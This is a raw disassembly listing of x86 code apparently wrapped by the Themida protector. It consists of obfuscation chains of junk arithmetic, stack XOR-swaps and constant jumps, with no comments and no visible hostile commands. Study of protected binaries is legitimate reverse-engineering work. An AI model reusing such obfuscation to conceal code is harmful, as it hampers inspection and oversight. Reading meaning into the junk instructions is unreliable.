sub esi, 2B1F6067h
xor esi, 975B9ED5h
and edx, esi
jmp loc_59CBC5
; ---------------------------------------------------------------------------
loc_595404: ; CODE XREF: Themida_:005901D2j
add ebx, edi
sub ebx, 40AB0079h
pop edi
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
jmp loc_5961F9
; ---------------------------------------------------------------------------
loc_59541E: ; CODE XREF: Themida_:005A1031j
pop edx
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], esi
mov esi, esp
push edi
mov edi, 4
jmp loc_598FDC
; ---------------------------------------------------------------------------
loc_59543A: ; CODE XREF: Themida_:0058F448j
push edi
mov edi, 67A17329h
jmp loc_59EE14
; ---------------------------------------------------------------------------
loc_595445: ; CODE XREF: Themida_:00595D67j
inc bh
not bh
push 0
sub [esp], bh
mov bh, [esp]
add esp, 4
jmp loc_595E7F
; ---------------------------------------------------------------------------
aN_uacWsWcmrFN1 db '-_UAc)ØWS»WcŒr¿(FÅn1ß[h-(',0 ; DATA XREF: Themida_:0058E114o
align 4
jmp loc_58FA4D
; ---------------------------------------------------------------------------
loc_59547D: ; CODE XREF: Themida_:00591393j
shl esi, 7
add esi, 0D055A104h
add edx, esi
jmp loc_59278B
; ---------------------------------------------------------------------------
loc_59548D: ; CODE XREF: Themida_:00598B75j
pop ecx
add esi, 6856A453h
mov edx, esi
jmp loc_5A2972
; ---------------------------------------------------------------------------
loc_59549B: ; CODE XREF: Themida_:0059E325j
pop ebx
dec eax
and eax, 48701FE4h
sub eax, 55751811h
add eax, 15050EB3h
jmp loc_598513
; ---------------------------------------------------------------------------
loc_5954B1: ; CODE XREF: Themida_:005997EAj
push eax
mov al, bl
push ebx
mov bh, al
mov cl, bh
pop ebx
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_5A2140
; ---------------------------------------------------------------------------
loc_5954CE: ; CODE XREF: Themida_:00596015j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push ebx
mov bl, 35h
or dh, bl
pop ebx
push ax
jmp loc_592C8D
; ---------------------------------------------------------------------------
loc_5954EB: ; CODE XREF: Themida_:0059E846j
shl ebp, 3
jmp loc_5931C5
; ---------------------------------------------------------------------------
loc_5954F3: ; CODE XREF: Themida_:0059FC67j
not esi
sub esi, 46299EDh
xor edx, esi
pop esi
sub ecx, edx
pop edx
jmp loc_5985CF
; ---------------------------------------------------------------------------
loc_595506: ; CODE XREF: Themida_:0059F885j
mov ebp, esp
push ecx
push esi
mov esi, 5B623843h
push 5B623847h
jmp loc_5A160B
; ---------------------------------------------------------------------------
loc_595519: ; CODE XREF: Themida_:00599F58j
pop eax
jmp loc_5979B2
; ---------------------------------------------------------------------------
loc_59551F: ; CODE XREF: Themida_:0059FB70j
sub eax, 43AC6E58h
jmp loc_59DD94
; ---------------------------------------------------------------------------
loc_595529: ; CODE XREF: Themida_:0059C79Fj
sub esi, ebx
sub esi, 121957DCh
jmp loc_5A26D7
; ---------------------------------------------------------------------------
loc_595536: ; CODE XREF: Themida_:00596DA7j
mov [esp], ebx
jmp loc_59DB62
; ---------------------------------------------------------------------------
loc_59553E: ; CODE XREF: Themida_:00590736j
mov esp, [esp]
push edx
mov edx, 40h
add edx, edi
mov [edx], ebx
pop edx
pop ebx
pop edx
jmp loc_599EEE
; ---------------------------------------------------------------------------
loc_595553: ; CODE XREF: Themida_:00593830j
pop ebx
add edx, edi
mov edi, [esp]
add esp, 4
push 89Fh
jmp loc_59B749
; ---------------------------------------------------------------------------
loc_595569: ; CODE XREF: Themida_:005A2BBFj
mov dl, ah
mov cl, dl
pop edx
jmp loc_5997C5
; ---------------------------------------------------------------------------
loc_595573: ; CODE XREF: Themida_:005A296Dj
mov [esp], ebp
push esp
pop ebp
push ecx
mov ecx, 0B947445h
xor ecx, 60B35F8Eh
jmp loc_58F2B0
; ---------------------------------------------------------------------------
loc_595589: ; CODE XREF: Themida_:005A17E4j
pop ebp
push 442Ah
mov [esp], eax
mov eax, 428C0A95h
add eax, 1C2E1428h
jmp loc_59C4CD
; ---------------------------------------------------------------------------
loc_5955A1: ; CODE XREF: Themida_:0059E94Aj
add esp, 4
push esi
jmp loc_58F1CF
; ---------------------------------------------------------------------------
loc_5955AA: ; CODE XREF: Themida_:00595688j
pop esi
push edi
mov edi, 53205F19h
xor esi, edi
jmp loc_591C80
; ---------------------------------------------------------------------------
loc_5955B8: ; CODE XREF: Themida_:00595E3Bj
xor ebx, 5FF7B66h
push esi
mov esi, 56014C85h
jmp loc_59C89C
; ---------------------------------------------------------------------------
loc_5955C9: ; CODE XREF: Themida_:005A202Aj
xchg edx, [esp]
pop esp
mov edx, [esp]
add esp, 4
add al, ch
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
push 0C4Eh
mov [esp], ebx
jmp loc_5A24EE
; ---------------------------------------------------------------------------
loc_5955F7: ; CODE XREF: Themida_:005964D2j
dec dh
not dh
sub esp, 4
mov [esp], eax
mov ah, 0C9h
sub ah, 2Fh
inc ah
jmp loc_58F4B7
; ---------------------------------------------------------------------------
loc_595610: ; CODE XREF: Themida_:00594276j
pop ebp
xor ebp, 1FA879CAh
jmp loc_5948C0
; ---------------------------------------------------------------------------
loc_59561C: ; CODE XREF: Themida_:00598F1Dj
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
push 2A01h
jmp loc_59B4EE
; ---------------------------------------------------------------------------
loc_595632: ; CODE XREF: Themida_:00595255j
pop ecx
push ebx
jmp loc_594B0F
; ---------------------------------------------------------------------------
loc_595639: ; CODE XREF: Themida_:0059C15Dj
add esp, 4
push 1D0Ch
mov [esp], edi
mov edi, esp
push edx
push eax
mov eax, 4
mov edx, eax
pop eax
jmp loc_5A2933
; ---------------------------------------------------------------------------
loc_595658: ; CODE XREF: Themida_:0059713Bj
dec edi
sub edi, 0FFFFFFFFh
jmp loc_5A244A
; ---------------------------------------------------------------------------
loc_595661: ; CODE XREF: Themida_:00595216j
add edi, 5746461Eh
jmp loc_59D36C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591554
loc_59566C: ; CODE XREF: sub_591554+Cj
mov eax, esp
push 49ACh
mov [esp+8+var_8], ecx
push 4
jmp loc_59CAEC
; END OF FUNCTION CHUNK FOR sub_591554
; ---------------------------------------------------------------------------
loc_595680: ; CODE XREF: Themida_:005A0E5Dj
mov [esp], esi
push 12F296Bh
jmp loc_5955AA
; ---------------------------------------------------------------------------
loc_59568D: ; CODE XREF: Themida_:0059F844j
mov [esp], ebp
jmp loc_593C98
; ---------------------------------------------------------------------------
loc_595695: ; CODE XREF: Themida_:005919B2j
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_59D787
; ---------------------------------------------------------------------------
loc_5956AA: ; CODE XREF: Themida_:0059D34Aj
sub esi, 4
xchg esi, [esp]
jmp loc_590665
; ---------------------------------------------------------------------------
loc_5956B5: ; CODE XREF: Themida_:005947C9j
mov [esp], ebp
jmp loc_595DB0
; ---------------------------------------------------------------------------
loc_5956BD: ; CODE XREF: Themida_:00592947j
; Themida_:0059F2AFj
push 69A3h
mov [esp], eax
jmp loc_5A1D5D
; ---------------------------------------------------------------------------
loc_5956CA: ; CODE XREF: Themida_:00592D16j
add ebp, 4
xor ebp, [esp]
jmp loc_5968FD
; ---------------------------------------------------------------------------
loc_5956D5: ; CODE XREF: Themida_:0059CF8Cj
pop esp
mov [esp], esi
jmp loc_59B602
; ---------------------------------------------------------------------------
loc_5956DE: ; DATA XREF: Themida_:0058E0B8o
push dword ptr [esp]
mov eax, [esp]
jmp loc_592773
; ---------------------------------------------------------------------------
loc_5956E9: ; CODE XREF: Themida_:0059D747j
mov [esp], edx
push 243Ah
push esp
pop dword ptr [esp]
push eax
mov eax, 4
add [esp+4], eax
pop eax
mov edx, [esp]
add esp, 4
push eax
mov eax, 602C5093h
push esi
mov esi, 44564666h
add eax, esi
pop esi
push 1C10h
mov [esp], edx
jmp loc_58F1F7
; ---------------------------------------------------------------------------
loc_595725: ; CODE XREF: Themida_:0059679Bj
mov esp, [esp]
jmp loc_59A67F
; ---------------------------------------------------------------------------
loc_59572D: ; CODE XREF: Themida_:005A224Ej
mov ebp, esi
jmp loc_58FB2B
; ---------------------------------------------------------------------------
loc_595734: ; CODE XREF: Themida_:005A03C1j
sub [esp+4], edx
mov edx, [esp]
add esp, 4
push dword ptr [esp]
jmp loc_5923B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_595746: ; CODE XREF: sub_590877+86C6j
pop eax
push 7104h
mov [esp+4+var_4], ebx
mov ebx, esp
jmp loc_59044E
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_595756: ; CODE XREF: Themida_:005993E4j
add edx, esi
sub edx, 0F1E09D8h
pop esi
xor edx, 30CB594Bh
push edx
inc dword ptr [esp]
pop edx
sub edx, 97198CB8h
add esi, edx
pop edx
pop edi
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
xor al, dl
mov edx, [esp]
add esp, 4
push eax
mov al, 23h
push cx
mov ch, 8Ch
jmp loc_5971BB
; ---------------------------------------------------------------------------
loc_595798: ; CODE XREF: Themida_:0059368Cj
push esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_58F975
; ---------------------------------------------------------------------------
loc_5957AC: ; CODE XREF: Themida_:0059B300j
mov ebx, 42C82D58h
add eax, 5C387470h
sub eax, ebx
jmp loc_5A0717
; ---------------------------------------------------------------------------
loc_5957BD: ; CODE XREF: Themida_:0059EF2Aj
push ebx
mov bh, 0Ch
push ecx
mov cl, bh
mov ah, cl
mov ecx, [esp]
add esp, 4
pop ebx
push 4Dh
mov [esp], ebx
sub esp, 4
mov [esp], eax
jmp loc_5A29AE
; ---------------------------------------------------------------------------
loc_5957E5: ; CODE XREF: Themida_:005A0CAFj
sub esp, 4
mov [esp], esi
mov esi, esp
jmp loc_58EBC6
; ---------------------------------------------------------------------------
loc_5957F2: ; CODE XREF: Themida_:00595334j
mov ebx, 6C334CF2h
jmp loc_59A4BC
; ---------------------------------------------------------------------------
loc_5957FC: ; CODE XREF: Themida_:005939ECj
push edx
jmp loc_58E5C1
; ---------------------------------------------------------------------------
loc_595802: ; CODE XREF: Themida_:0059A07Ej
pop eax
sub eax, 485525BEh
not eax
xor eax, 0FF61B73Fh
mov edx, eax
pop eax
add [esp+4], edx
jmp loc_598B30
; ---------------------------------------------------------------------------
loc_59581B: ; CODE XREF: Themida_:00593CE9j
push ebp
jmp loc_596DA2
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
jmp loc_5A275A
; ---------------------------------------------------------------------------
loc_59582D: ; CODE XREF: Themida_:005A2E34j
push 20FEh
mov [esp], ecx
push 42F63847h
pop ecx
push edx
push 154936FDh
pop edx
jmp loc_598138
; ---------------------------------------------------------------------------
loc_595847: ; CODE XREF: Themida_:00592D60j
pop eax
pop ecx
mov eax, [esp]
jmp loc_5A13D4
; ---------------------------------------------------------------------------
loc_595851: ; CODE XREF: Themida_:0059CB80j
push 654h
mov [esp], ebp
jmp loc_5A2E0C
; ---------------------------------------------------------------------------
loc_59585E: ; CODE XREF: Themida_:00592838j
mov [esp], eax
mov eax, 0BA875E8h
mov esi, eax
pop eax
and esi, 62CF31CFh
push ebp
jmp loc_594B6E
; ---------------------------------------------------------------------------
loc_595875: ; CODE XREF: Themida_:005A02B5j
mov [esp], edx
jmp loc_59840C
; ---------------------------------------------------------------------------
loc_59587D: ; CODE XREF: Themida_:005A1FEDj
add ebx, 66B1306Dh
xor ebx, 81ABB995h
add eax, 313B1959h
sub eax, ebx
sub eax, 313B1959h
jmp loc_59DBCA
; ---------------------------------------------------------------------------
loc_59589A: ; CODE XREF: Themida_:005A31A3j
pop edi
pop esi
xor edx, [esp]
jmp loc_5A0D60
; ---------------------------------------------------------------------------
loc_5958A4: ; CODE XREF: Themida_:005996B1j
not ch
jmp loc_594757
; ---------------------------------------------------------------------------
loc_5958AB: ; CODE XREF: Themida_:00596F63j
pop dword ptr [esp]
pop esp
push ebp
mov ebp, 13AC2CA0h
jmp loc_59D682
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A1999
loc_5958BA: ; CODE XREF: sub_5A1999+3j
mov [esp-8+arg_4], esi
mov esi, 4
jmp loc_59EF2F
; END OF FUNCTION CHUNK FOR sub_5A1999
; ---------------------------------------------------------------------------
loc_5958C7: ; CODE XREF: Themida_:0059FDB3j
mov edx, 1
sub ecx, edx
jmp loc_59FB83
; ---------------------------------------------------------------------------
loc_5958D3: ; CODE XREF: Themida_:00591BC5j
push dword ptr [esp]
pop edi
push esi
jmp loc_59130A
; ---------------------------------------------------------------------------
loc_5958DD: ; CODE XREF: Themida_:005A1DC6j
mov [esp], ebx
jmp loc_58EDB7
; ---------------------------------------------------------------------------
loc_5958E5: ; CODE XREF: Themida_:00597C4Cj
add edx, 9548D2BCh
sub esp, 4
jmp loc_59474C
; ---------------------------------------------------------------------------
loc_5958F6: ; CODE XREF: Themida_:005A19F6j
xor [esp], ecx
xor ecx, [esp]
pop esp
xor bx, ax
jmp loc_5947CE
; ---------------------------------------------------------------------------
loc_595905: ; CODE XREF: Themida_:00591EDEj
or eax, 5ABA2206h
shl eax, 5
sub eax, 7F4973C6h
xor ebp, eax
pop eax
shr ebp, 4
push eax
push edx
mov edx, 3ED156D7h
mov eax, edx
jmp loc_58FD21
; ---------------------------------------------------------------------------
loc_595926: ; CODE XREF: Themida_:005962C8j
sar word ptr [esp], cl
pushf
jmp loc_599333
; ---------------------------------------------------------------------------
loc_595930: ; CODE XREF: Themida_:00596623j
push esi
mov esi, 1FCC65F4h
neg esi
jmp loc_598DB0
; ---------------------------------------------------------------------------
loc_59593D: ; CODE XREF: Themida_:0058F970j
pop esp
jmp loc_5A25A7
; ---------------------------------------------------------------------------
loc_595943: ; CODE XREF: Themida_:00592B1Bj
sub ebp, 3AD35AC6h
jmp loc_599284
; ---------------------------------------------------------------------------
loc_59594E: ; CODE XREF: Themida_:00594239j
pop edi
or edi, 617D581Fh
sub edi, 2A1565F2h
jmp loc_59E12B
; ---------------------------------------------------------------------------
loc_595960: ; CODE XREF: Themida_:00592C6Cj
mov [esp], ax
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_595969: ; CODE XREF: Themida_:0058FBF3j
mov [esp], ebp
push esi
mov esi, 0Ah
sub esp, 4
mov [esp], ecx
push esi
jmp loc_59A350
; ---------------------------------------------------------------------------
loc_59597E: ; CODE XREF: Themida_:0058F602j
add edi, 48E5B06h
add edi, ecx
sub edi, 48E5B06h
sub edi, 237B0DA4h
push edx
mov edx, 497744A0h
sub edi, edx
jmp loc_59B894
; ---------------------------------------------------------------------------
loc_59599F: ; CODE XREF: Themida_:005A313Ej
sub esp, 4
mov [esp], ebx
not dword ptr [esp]
pop ebx
jmp loc_5A31B8
; ---------------------------------------------------------------------------
loc_5959B1: ; CODE XREF: Themida_:00592F11j
mov esp, [esp]
mov [esp], ebp
mov ebp, 5FD7660Ch
push ecx
mov ecx, 38A65E29h
jmp loc_597323
; ---------------------------------------------------------------------------
loc_5959C7: ; CODE XREF: Themida_:005966A2j
mov [esp], edx
mov edx, 4
add ebp, edx
pop edx
jmp loc_5927BB
; ---------------------------------------------------------------------------
loc_5959D7: ; CODE XREF: Themida_:0058EBB1j
add al, 0ADh
add al, dl
sub al, 0ADh
mov edx, [esp]
add esp, 4
push ecx
jmp loc_5945FE
; ---------------------------------------------------------------------------
loc_5959E9: ; CODE XREF: Themida_:0058FD03j
sub eax, ebx
pop ebx
add edi, 16F91973h
add edi, eax
sub edi, 16F91973h
jmp loc_58F315
; ---------------------------------------------------------------------------
loc_5959FF: ; CODE XREF: Themida_:0059256Cj
pop edx
push ecx
jmp loc_59DE28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_596B96
loc_595A06: ; CODE XREF: sub_596B96+54D1j
add edi, ecx
mov ecx, [esp+0]
add esp, 4
push edi
push [esp+arg_0]
pop edi
pop dword ptr [esp+0]
jmp loc_5A2D39
; END OF FUNCTION CHUNK FOR sub_596B96
; ---------------------------------------------------------------------------
loc_595A1F: ; CODE XREF: Themida_:005916A3j
mov edi, esp
push ebp
push 1557630Fh
jmp loc_596B42
; ---------------------------------------------------------------------------
loc_595A2C: ; CODE XREF: Themida_:005960B8j
sub eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_5916B9
; ---------------------------------------------------------------------------
loc_595A3E: ; CODE XREF: Themida_:0059CFDEj
mov [esp], ebx
mov ebx, esp
add ebx, 4
push 0B94h
mov [esp], edi
jmp loc_58FB91
; ---------------------------------------------------------------------------
loc_595A56: ; CODE XREF: Themida_:00596655j
mov [esp], edx
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov edx, [esp]
add esp, 4
push 16C7h
jmp loc_5A0276
; ---------------------------------------------------------------------------
loc_595A7A: ; CODE XREF: Themida_:0059C4A8j
mov edi, esp
jmp loc_59D6E3
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
push dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_596A18
; ---------------------------------------------------------------------------
mov cx, [esp]
push 6B1Ah
mov [esp], edi
push esp
mov edi, [esp]
sub esp, 4
mov [esp], ebp
push esp
jmp loc_5A09EF
; ---------------------------------------------------------------------------
loc_595AAF: ; CODE XREF: Themida_:0058E7A6j
add esi, 0A7103902h
and ecx, esi
jmp loc_595CB6
; ---------------------------------------------------------------------------
loc_595ABC: ; CODE XREF: Themida_:0058F310j
pop eax
sub eax, 0F492E9DCh
and ebp, eax
pop eax
or ebp, 78DD4AAEh
neg ebp
not ebp
jmp loc_59A62A
; ---------------------------------------------------------------------------
loc_595AD4: ; CODE XREF: Themida_:0059E879j
add bh, 2
jmp loc_59A11F
; ---------------------------------------------------------------------------
loc_595ADC: ; CODE XREF: Themida_:00595E9Cj
push eax
mov ah, 0E9h
mov bh, ah
pop eax
sub al, bh
pop bx
push dword ptr [esp]
pop edx
push eax
mov eax, esp
jmp loc_593292
; ---------------------------------------------------------------------------
loc_595AF2: ; CODE XREF: Themida_:0059A2ADj
shl edi, 3
jmp loc_5A0D3A
; ---------------------------------------------------------------------------
loc_595AFA: ; CODE XREF: Themida_:005907A4j
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
pop edx
jmp loc_5A001D
; ---------------------------------------------------------------------------
loc_595B0F: ; CODE XREF: Themida_:005925A8j
mov esi, eax
pop eax
pop ebp
jmp loc_59CAF8
; ---------------------------------------------------------------------------
loc_595B18: ; CODE XREF: Themida_:0059443Aj
mov edi, 0D29D70C4h
sub edx, edi
jmp loc_59DDDA
; ---------------------------------------------------------------------------
loc_595B24: ; CODE XREF: Themida_:005A0A48j
push dword ptr [esp]
mov eax, [esp]
jmp loc_5A0978
; ---------------------------------------------------------------------------
loc_595B2F: ; CODE XREF: Themida_:0059DA19j
add esi, 56674C12h
xor esi, 0C54A374Ch
or ecx, esi
pop esi
jmp loc_59BDB1
; ---------------------------------------------------------------------------
loc_595B43: ; CODE XREF: Themida_:00599AA5j
xor ebp, [esp]
mov esp, [esp]
sub [esp], al
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_595B52: ; CODE XREF: Themida_:00596305j
and ecx, 6AD27BA0h
sub ecx, 73981E01h
jmp loc_5A272F
; ---------------------------------------------------------------------------
loc_595B63: ; CODE XREF: Themida_:0059BDDCj
dec esi
jmp loc_58F2A5
; ---------------------------------------------------------------------------
loc_595B69: ; CODE XREF: Themida_:00590AD4j
or edi, esi
pop esi
push ebx
mov ebx, 18B5E733h
xor edi, ebx
push dword ptr [esp]
pop ebx
push edx
jmp loc_59A4C4
; ---------------------------------------------------------------------------
loc_595B7E: ; CODE XREF: Themida_:00596BF7j
push ecx
mov cl, 0BCh
xor bl, cl
pop ecx
not bl
jmp loc_58F6AD
; ---------------------------------------------------------------------------
loc_595B8B: ; CODE XREF: Themida_:00599E25j
pop eax
jmp loc_58FC68
; ---------------------------------------------------------------------------
loc_595B91: ; CODE XREF: Themida_:00597D62j
add ecx, 0FFFFFFFFh
xor ecx, 2FCA36A7h
mov eax, ecx
pop ecx
xchg eax, edi
jmp loc_58EC16
; ---------------------------------------------------------------------------
loc_595BA3: ; CODE XREF: Themida_:0059B133j
sub eax, esi
pop esi
sub eax, 50394FEEh
sub eax, ebp
add eax, 50394FEEh
add eax, 7DB20F09h
mov ebp, [esp]
add esp, 4
xor ebx, eax
push 434Eh
mov [esp], ebx
jmp loc_59EEFA
; ---------------------------------------------------------------------------
loc_595BCC: ; CODE XREF: Themida_:0059D280j
xor eax, esi
mov esi, [esp]
jmp loc_5A09FE
; ---------------------------------------------------------------------------
loc_595BD6: ; CODE XREF: Themida_:0058EDB2j
mov ebp, 4
add edx, ebp
pop ebp
xor edx, [esp]
xor [esp], edx
jmp loc_5A0EC7
; ---------------------------------------------------------------------------
loc_595BE9: ; CODE XREF: Themida_:0059AE35j
mov [esp], edx
sub esp, 4
jmp loc_598569
; ---------------------------------------------------------------------------
loc_595BF4: ; CODE XREF: Themida_:0058FE80j
add [esp+4], ebp
add dword ptr [esp+4], 0F947751h
sub dword ptr [esp+4], 3EFD2530h
pop ebp
jmp loc_59BA25
; ---------------------------------------------------------------------------
loc_595C0E: ; CODE XREF: Themida_:00593638j
not ebx
add ebx, 0B9D25BF7h
sub ebp, ebx
pop ebx
sub ebp, 40410700h
pop ebx
jmp loc_59183F
; ---------------------------------------------------------------------------
loc_595C25: ; CODE XREF: Themida_:0059637Ej
push ecx
mov ecx, 1
mov edi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_5981F6
; ---------------------------------------------------------------------------
loc_595C38: ; CODE XREF: Themida_:0059EB0Aj
mov esi, 600C41BEh
add ebx, esi
pop esi
sub ebx, ecx
jmp loc_590772
; ---------------------------------------------------------------------------
loc_595C47: ; CODE XREF: Themida_:0058E7CFj
push ebx
jmp loc_590460
; ---------------------------------------------------------------------------
loc_595C4D: ; CODE XREF: Themida_:00591682j
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push edx
push dword ptr [esp+4]
jmp loc_59CE42
; ---------------------------------------------------------------------------
loc_595C63: ; CODE XREF: Themida_:00597706j
push ebx
push dword ptr [esp+4]
jmp loc_5916F4
; ---------------------------------------------------------------------------
loc_595C6D: ; CODE XREF: Themida_:0059CCA8j
pop esi
xor esi, 5EC32879h
mov eax, esi
pop esi
xor eax, 1C074DF7h
sub ecx, eax
jmp loc_594AD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_595C83: ; CODE XREF: sub_590877-E9Fj
pop ebx
sub eax, 4
xchg eax, [esp+0]
pop esp
mov [esp-4+arg_0], esi
mov esi, esp
add esi, 4
jmp loc_59D587
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_595C9D: ; CODE XREF: Themida_:0059A030j
add esp, 4
push small 5D9Eh
mov [esp], bx
sub esp, 4
mov [esp], ecx
jmp loc_59C8CD
; ---------------------------------------------------------------------------
loc_595CB6: ; CODE XREF: Themida_:00595AB7j
pop esi
neg ecx
push ebx
mov ebx, 623D55DAh
shl ebx, 8
jmp loc_5A05A7
; ---------------------------------------------------------------------------
loc_595CC7: ; CODE XREF: Themida_:0058FCDCj
mov [esp], esp
add dword ptr [esp], 4
pop edx
add edx, 4
push 777Ch
mov [esp], esi
mov esi, 2
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
mov edi, 0B052177h
add edx, edi
pop edi
add edx, esi
push 6D01h
mov [esp], esi
push eax
push ecx
push 10606E0h
pop ecx
neg ecx
push eax
mov eax, 0F6146B5h
add ecx, eax
jmp loc_591F9A
; ---------------------------------------------------------------------------
loc_595D21: ; CODE XREF: Themida_:0059CF97j
sub ecx, 3B55E935h
sub edx, ecx
pop ecx
jmp loc_59BB2C
; ---------------------------------------------------------------------------
loc_595D2F: ; CODE XREF: Themida_:005945D4j
shl edx, 8
not edx
jmp loc_599106
; ---------------------------------------------------------------------------
loc_595D39: ; CODE XREF: Themida_:005A1E2Aj
dec edi
sub edi, 0FD77BFBBh
add eax, edi
pop edi
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_599D59
; ---------------------------------------------------------------------------
loc_595D51: ; CODE XREF: Themida_:00599156j
shl cl, 2
or cl, 1Fh
or cl, 3Dh
shl cl, 5
neg cl
xor cl, 6Ch
and bh, cl
pop ecx
not bh
jmp loc_595445
; ---------------------------------------------------------------------------
loc_595D6C: ; CODE XREF: Themida_:00591C09j
pop eax
push 47E4h
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
mov cx, [esp]
push 1ADBh
mov [esp], eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_592799
; ---------------------------------------------------------------------------
loc_595DA1: ; CODE XREF: Themida_:0059BD33j
pop esi
add esi, 1
xor esi, 0B353CDE0h
jmp loc_598D5A
; ---------------------------------------------------------------------------
loc_595DB0: ; CODE XREF: Themida_:005956B8j
push edx
jmp loc_5A20B9
; ---------------------------------------------------------------------------
loc_595DB6: ; CODE XREF: Themida_:00599CE7j
xor edx, 11AD5841h
jmp loc_59EFA3
; ---------------------------------------------------------------------------
mov cx, [esp]
push 4AD2h
mov [esp], ebx
push esi
mov esi, esp
jmp loc_59223F
; ---------------------------------------------------------------------------
loc_595DD5: ; CODE XREF: Themida_:0059D358j
pop ebp
add ebp, 4
jmp loc_590686
; ---------------------------------------------------------------------------
loc_595DE1: ; CODE XREF: Themida_:00599F19j
pop eax
push ebp
mov ebp, 2C4913D0h
add ebp, 6F6D0794h
jmp loc_59F7EE
; ---------------------------------------------------------------------------
loc_595DF3: ; CODE XREF: Themida_:0059B9F0j
add bh, 0F2h
sub bh, dh
sub bh, 0F2h
jmp loc_599AE6
; ---------------------------------------------------------------------------
loc_595E00: ; CODE XREF: Themida_:00590A28j
mov [esp], edi
mov edi, 2
sub esi, 2C9B4D09h
jmp loc_59A389
; ---------------------------------------------------------------------------
loc_595E13: ; CODE XREF: Themida_:0059D90Cj
push esi
mov esi, esp
jmp loc_58ED86
; ---------------------------------------------------------------------------
loc_595E1B: ; CODE XREF: Themida_:005912A6j
pop ebx
jmp loc_59CCE5
; ---------------------------------------------------------------------------
loc_595E21: ; CODE XREF: Themida_:005A0B9Ej
push 4989h
mov [esp], esp
add dword ptr [esp], 4
pop edx
push 460Eh
mov [esp], ebx
mov ebx, 5FF7B62h
jmp loc_5955B8
; ---------------------------------------------------------------------------
loc_595E40: ; CODE XREF: Themida_:0059379Fj
pop ecx
dec edi
add edi, 0FFFFFFFFh
add edi, 201A17D3h
and eax, edi
push dword ptr [esp]
mov edi, [esp]
jmp loc_59212A
; ---------------------------------------------------------------------------
loc_595E5B: ; CODE XREF: Themida_:005A12A2j
push 441634ACh
pop ebx
jmp loc_59259E
; ---------------------------------------------------------------------------
loc_595E66: ; CODE XREF: Themida_:0058F27Cj
push ecx
mov cl, 9Eh
jmp loc_5A1D8C
; ---------------------------------------------------------------------------
loc_595E6E: ; CODE XREF: Themida_:0059E8E2j
add esp, 4
sub esp, 4
mov [esp], esi
not dword ptr [esp]
jmp loc_597A6A
; ---------------------------------------------------------------------------
loc_595E7F: ; CODE XREF: Themida_:00595457j
add bh, 1Eh
push ecx
mov ch, bh
jmp loc_5973C3
; ---------------------------------------------------------------------------
loc_595E8A: ; CODE XREF: Themida_:005A0009j
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5919FD
; ---------------------------------------------------------------------------
loc_595E98: ; CODE XREF: Themida_:0059FDE4j
mov [esp], bx
jmp loc_595ADC
; ---------------------------------------------------------------------------
loc_595EA1: ; CODE XREF: Themida_:005915EBj
add eax, ebx
sub eax, 13290CD3h
push edx
jmp loc_59AAB0
; ---------------------------------------------------------------------------
loc_595EAE: ; CODE XREF: Themida_:00594224j
add edx, 0FFFFFFFFh
jmp loc_59C23D
; ---------------------------------------------------------------------------
loc_595EB9: ; CODE XREF: Themida_:00591E3Bj
pop ecx
push ebp
push 6629h
mov [esp], edx
jmp loc_58EC0C
; ---------------------------------------------------------------------------
loc_595EC8: ; CODE XREF: Themida_:0059D624j
add dword ptr [esp+8], 7676107Fh
sub [esp+8], esi
sub dword ptr [esp+8], 7676107Fh
add dword ptr [esp+8], 35DB0E59h
pop esi
add [esp+4], ebx
push esi
mov esi, 62115A0Bh
add dword ptr [esp+8], 33346ACCh
add [esp+8], esi
sub dword ptr [esp+8], 33346ACCh
mov esi, [esp]
add esp, 4
jmp loc_5A26B2
; ---------------------------------------------------------------------------
loc_595F11: ; CODE XREF: Themida_:0059AEDAj
add ecx, eax
add ecx, 6A0B36A1h
push dword ptr [esp]
pop eax
jmp loc_59A6E7
; ---------------------------------------------------------------------------
loc_595F22: ; CODE XREF: Themida_:0059DB7Cj
push ax
jmp loc_594E48
; ---------------------------------------------------------------------------
loc_595F29: ; CODE XREF: Themida_:0058EE84j
sub edx, 7555A104h
sub eax, 71E340A2h
sub eax, edx
add eax, 71E340A2h
pop edx
push edx
mov edx, 694B3AB4h
dec edx
sub edx, 0C9AEEC6h
sub edi, edx
pop edx
sub edi, 1630421Ah
add edi, eax
add edi, 1630421Ah
jmp loc_59659A
; ---------------------------------------------------------------------------
loc_595F5F: ; CODE XREF: Themida_:005A0C1Dj
sub esp, 4
mov [esp], eax
jmp loc_59BB6B
; ---------------------------------------------------------------------------
